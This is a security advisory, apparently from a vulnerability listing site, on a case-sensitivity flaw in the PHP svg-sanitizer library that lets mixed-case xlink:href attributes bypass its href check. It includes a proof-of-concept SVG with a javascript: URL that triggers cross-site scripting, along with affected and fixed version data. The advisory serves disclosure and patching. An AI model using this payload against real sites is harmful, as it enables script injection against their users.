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cve.new
GHSA-22wq-q86m-83fhmedium5.1

svg-sanitizer Bypasses Attribute Sanitization

Check your stack

The advisory, in context

Problem

The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. xlink:href instead of xlink:HrEf), which allows to by-pass the isHrefSafeValue check. As a result this allows cross-site scripting or linking to external domains.

Proof-of-concept

provided by azizk

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
  <a xlink:hReF="javascript:alert(document.domain)">
    <rect width="100" height="50" fill="red"></rect>
    <text x="50" y="30" text-anchor="middle" fill="white">Click me</text>
  </a>
</svg>

Credits

The mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher azizk <medazizknani@gmail.com>.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

Earlier releases before 0.22.0

Fixed in 0.22.0

47 explicitly affected versions

0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.10.0, 0.11.0, 0.12.0, 0.13.0, 0.13.1, 0.13.2, 0.13.3, 0.14.0, 0.14.1, 0.15.0, 0.15.1, 0.15.2, 0.15.3, 0.15.4, 0.16.0, 0.17.0, 0.18.0, 0.19.0, 0.2.0, 0.2.1, 0.20.0, 0.21.0, 0.3.0, 0.4.0, 0.4.1, 0.5.0, 0.5.1, 0.5.2, 0.5.3, 0.5.3.1, 0.6.0, 0.7.0, 0.7.1, 0.7.2, 0.8.0, 0.8.1, 0.8.2, 0.9.0, 0.9.1, 0.9.2

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "0.22.0"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "0.1.0",
    "0.1.1",
    "0.1.2",
    "0.1.3",
    "0.1.4",
    "0.1.5",
    "0.1.6",
    "0.10.0",
    "0.11.0",
    "0.12.0",
    "0.13.0",
    "0.13.1",
    "0.13.2",
    "0.13.3",
    "0.14.0",
    "0.14.1",
    "0.15.0",
    "0.15.1",
    "0.15.2",
    "0.15.3",
    "0.15.4",
    "0.16.0",
    "0.17.0",
    "0.18.0",
    "0.19.0",
    "0.2.0",
    "0.2.1",
    "0.20.0",
    "0.21.0",
    "0.3.0",
    "0.4.0",
    "0.4.1",
    "0.5.0",
    "0.5.1",
    "0.5.2",
    "0.5.3",
    "0.5.3.1",
    "0.6.0",
    "0.7.0",
    "0.7.1",
    "0.7.2",
    "0.8.0",
    "0.8.1",
    "0.8.2",
    "0.9.0",
    "0.9.1",
    "0.9.2"
  ]
}

References